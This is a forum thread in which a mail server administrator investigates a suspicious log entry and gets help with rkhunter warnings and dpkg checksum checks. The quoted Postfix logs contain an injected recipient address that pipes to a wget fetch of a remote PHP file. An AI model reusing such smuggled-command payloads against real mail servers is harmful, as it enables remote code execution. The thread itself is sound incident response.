Browsing through some of my logs today, I found that I have new mail which says the following: Code: R 7 [email protected] Sun Apr 18 14:48 25/1227 [email protected] And further: Code: Date: Sun, 18 Apr 2010 14:48:52 -0400 (EDT) From: [email protected] To: undisclosed-recipients:; So I peered into my mail.log and found the following: Code: Apr 18 14:48:38 myserver postfix/qmgr[1802]: 1542F2056C: from=<blue@****.com>, size=203, nrcpt=1 (queue active) Apr 18 14:48:38 myserver postfix/smtpd[12476]: disconnect from unknown[135.196.243.201] Apr 18 14:48:52 myserver postfix/smtpd[12483]: connect from localhost[127.0.0.1] Apr 18 14:48:52 myserver postfix/smtpd[12483]: 510422064F: client=localhost[127.0.0.1] Apr 18 14:48:52 myserver postfix/cleanup[12480]: 510422064F: message-id=<[email protected]> Apr 18 14:48:52 myserver postfix/smtpd[12483]: disconnect from localhost[127.0.0.1] Apr 18 14:48:52 myserver postfix/qmgr[1802]: 510422064F: from=<blue@****.com>, size=1041, nrcpt=1 (queue active) Apr 18 14:48:52 myserver amavis[4240]: (04240-16) Passed BAD-HEADER, [135.196.243.201] [135.196.243.201] <blue@****.com> -> <"root+:|wget http://fortunes.in/x1x.php"@myserver.mysite.com>, quarantine: X/badh-XQqZlXm4bqH6, mail_id: XQqZ$ Apr 18 14:48:52 myserver postfix/smtp[12481]: 1542F2056C: to=<root+:|wget http://fortunes.in/[email protected]>, orig_to=<root+:|wget http://fortunes.in/x1x.php>, relay=127.0.0.1[127.0.0.1]:10024, delay=15, delays=0.23/0.03/$ Apr 18 14:48:52 myserver postfix/qmgr[1802]: 1542F2056C: removed Apr 18 14:48:52 myserver postfix/local[12487]: warning: 510422064F: address with illegal extension: root+:|wget http://fortunes.in/x1x.php Apr 18 14:48:52 myserver postfix/local[12487]: 510422064F: to=<root+:|wget http://fortunes.in/[email protected]>, relay=local, delay=0.18, delays=0.08/0.06/0/0.04, dsn=2.0.0, status=sent (delivered to mailbox) Apr 18 14:48:52 myserver postfix/qmgr[1802]: 510422064F: removed Is it something I should be concerned with? How can I check to see if the hacker was successful?
I'd assume they have been sucessfull in any way, as at least postfix delivered the wget command to the mailbox. So you might try to sarch for x1x.php on your filesystem if it is still there. Another possibility would be to try rkhunter (rootkit.nl) to check what this tells you. Do you have checks for fqdn_reciepient in your postfix's main.cf? As in my case the exploit did not work if this check is set up.
Ok the recipient thing does not really work, when escaping illegal chars with a \. So I'd expect, if you are vulnerable to this attack, you should find a file "foo" in your /tmp folder if sending a mail to one of the following recipients via email:
Hmm, well I wasn't able to find any xlx.php, but that's not to say that the exploiter hasn't already removed it. Here's postconf -n Code: alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases append_dot_mydomain = no biff = no body_checks = regexp:/etc/postfix/body_checks broken_sasl_auth_clients = yes config_directory = /etc/postfix content_filter = amavis:[127.0.0.1]:10024 header_checks = regexp:/etc/postfix/header_checks html_directory = /usr/share/doc/postfix/html inet_interfaces = all mailbox_size_limit = 0 message_size_limit = 0 mime_header_checks = regexp:/etc/postfix/mime_header_checks mydestination = myserver.mysite.com, localhost, localhost.localdomain myhostname = myserver.mysite.com mynetworks = 127.0.0.0/8 [::1]/128 myorigin = /etc/mailname nested_header_checks = regexp:/etc/postfix/nested_header_checks proxy_read_maps = $local_recipient_maps $mydestination $virtual_alias_maps $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps $relocated_maps $transport_maps $mynetworks $virtual_mailbox_limit_maps readme_directory = /usr/share/doc/postfix receive_override_options = no_address_mappings recipient_delimiter = + relay_domains = mysql:/etc/postfix/mysql-virtual_relaydomains.cf relay_recipient_maps = mysql:/etc/postfix/mysql-virtual_relayrecipientmaps.cf relayhost = smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) smtpd_client_restrictions = check_client_access mysql:/etc/postfix/mysql-virtual_client.cf smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, check_recipient_access mysql:/etc/postfix/mysql-virtual_recipient.cf, reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_authenticated_header = yes smtpd_sender_restrictions = check_sender_access mysql:/etc/postfix/mysql-virtual_sender.cf smtpd_tls_cert_file = /etc/postfix/smtpd.cert smtpd_tls_key_file = /etc/postfix/smtpd.key smtpd_tls_security_level = may smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtpd_use_tls = yes transport_maps = proxy:mysql:/etc/postfix/mysql-virtual_transports.cf virtual_alias_domains = virtual_alias_maps = proxy:mysql:/etc/postfix/mysql-virtual_forwardings.cf, mysql:/etc/postfix/mysql-virtual_email2email.cf virtual_gid_maps = static:5000 virtual_mailbox_base = /var/vmail virtual_mailbox_domains = proxy:mysql:/etc/postfix/mysql-virtual_domains.cf virtual_mailbox_maps = proxy:mysql:/etc/postfix/mysql-virtual_mailboxes.cf virtual_transport = maildrop virtual_uid_maps = static:5000 And here is last night's rkhunter log: Code: Warning: The file properties have changed: File: /usr/bin/dpkg Current hash: 53d7c6c257b70f354bcf6d1cddd171180b24e8d0 Stored hash : 53e46099fb111f5909e9a6a4be154f11f1743d4c Current inode: 19311 Stored inode: 613 Current size: 391920 Stored size: 412400 Current file modification time: 1268271142 Stored file modification time : 1253435026 Warning: The file properties have changed: File: /usr/bin/dpkg-query Current hash: e3fa9c39564c1860bd7d86f7005a90ef8da821a2 Stored hash : 1d9ca0bf53cdc2ab56850192c86ad17b863d58d9 Current inode: 19314 Stored inode: 616 Current size: 96172 Stored size: 104420 Current file modification time: 1268271142 Stored file modification time : 1253435026 Warning: The file properties have changed: File: /usr/bin/sudo Current hash: daa60130c30c5df58e10e6d280fd9dfcb5673ecf Stored hash : 8ac63a420a2fa2b359777f66a35e8c86d948108c Current inode: 5147 Stored inode: 8325 Current file modification time: 1271179871 Stored file modification time : 1267140126 Warning: The file properties have changed: File: /sbin/ifdown Current hash: 9b09364c44c8d6891c6e7bee14943b280bf10cc8 Stored hash : 59b6b8df01abc4004a13dec4f174c7c3715dc6c7 Current inode: 17690 Stored inode: 6038 Current size: 34692 Stored size: 38844 Current file modification time: 1266866128 Stored file modification time : 1253661804 Warning: The file properties have changed: File: /sbin/ifup Current hash: 9b09364c44c8d6891c6e7bee14943b280bf10cc8 Stored hash : 59b6b8df01abc4004a13dec4f174c7c3715dc6c7 Current inode: 17690 Stored inode: 6038 Current size: 34692 Stored size: 38844 Current file modification time: 1266866128 Stored file modification time : 1253661804 Warning: Application 'gpg', version '1.4.9', is out of date, and possibly a secu rity risk. Warning: Application 'openssl', version '0.9.8g', is out of date, and possibly a security risk. Warning: Application 'php', version '5.2.10', is out of date, and possibly a sec urity risk. Warning: Application 'sshd', version '5.1p1', is out of date, and possibly a sec urity risk. Nothing really looks out of the ordinary. What do you think?
Perhaps, ifup ifdown was from an update that I did the other day. I just assumed that dpkg was also part of an update. I've never used rkhunter before ISPConfig 3. I just thought that maybe it was a little "over" cautious. How can I tell if dpkg has been compromised?
I'm sorry to be a pain. Never done this before. I'm trying to find the download on the internet, but it's just the .tar.gz to build dpkg, how would I actually verify the md5 of the compiled dpkg?
http://ftp.debian.org/debian/pool/main/d/dpkg/ download your version of the package use dpkg-deb -x to extract the contents then compare what you have installed with the one inside the package.
Still no luck, my version doesn't seem to be on the ubuntu pool either. I'm getting my version from dpkg --version. I was able to find the package here: https://launchpad.net/ubuntu/karmic/+source/dpkg/1.15.4ubuntu1 but it's only a tar.gz and dsc. Will either of those work? Or does it have to be a deb package
I'd more say this is kind of suspicous, but I had these kind of warings on some fiels as well, e.g. that ifanything was replaced against an ascii file, but in my case this was just kind of harmless as it called the binary with another harmless parameter... same like the sometimes occuring *grep warnings... So either check the checksums as suggested by topdog or open the files and check their content to probably find something suspicious (if it's not a binary). Depending on the installation, rkhunter should be triggered for a propupdate (e.g. via apt(itud) on a debian / ubuntu system if rkhunter was installed this way) after upgrading packages via apt...
@ben, I've never run a propupdate, and just started reading about it. It obviously must not be configured on my system because every time that I run apt-get I get a new message about it the next day with rkhunter. How can I trigger a propupdate every time that apt-get is run?
did you install rkhunter via apt or did you download it your own? In the first case it will automatically be integrated. Anyhow I'd check the content of the changed files. Just checked ifup / ifdown they are binaries, so the safest way is as topdoq suggested to verify the checksum to a "clean" version or your try to reinstallt them. According to the debian package list the package therefore is "ifupdown". Or you take some other of the mentioned packages. The most safest but for you the uncomfortables way is to reinstall the system...
You could also just write down the versions of the packages and maybe someone has a version installed with that and could provide the hash if you asked.
I installed it using apt from the perfect server howto, but it still always shows up saying that the packages have changed. I just ended up running propupdate so that it won't bug me anymore, but now I'm curious as to why it's not in sync with apt-get update. Is there a separate rkhunter package to do that?
